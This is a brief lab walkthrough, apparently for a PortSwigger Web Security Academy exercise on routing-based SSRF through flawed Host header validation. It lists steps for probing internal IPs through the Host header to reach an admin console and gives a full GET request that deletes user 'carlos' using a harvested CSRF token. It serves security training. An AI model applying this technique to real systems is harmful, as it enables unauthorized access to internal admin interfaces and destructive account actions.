flawed host verification // flawed request parsing

supplying an absolute URL :

GET <https://YOUR-LAB-ID.web-security-academy.net/>

and modifying the host header — > not blocked

This suggests that the absolute URL is being validated instead of the Host header.

ping burpcollaborator to verify it’s open bar

scan local IPs in the host header to find 302 to admin console

add /admin/delete to url find csrf token in the page and then

GET <https://YOUR-LAB-ID.web-security-academy.net/admin/delete?csrf=QCT5OmPeAAPnyTKyETt29LszLL7CbPop&username=carlos>
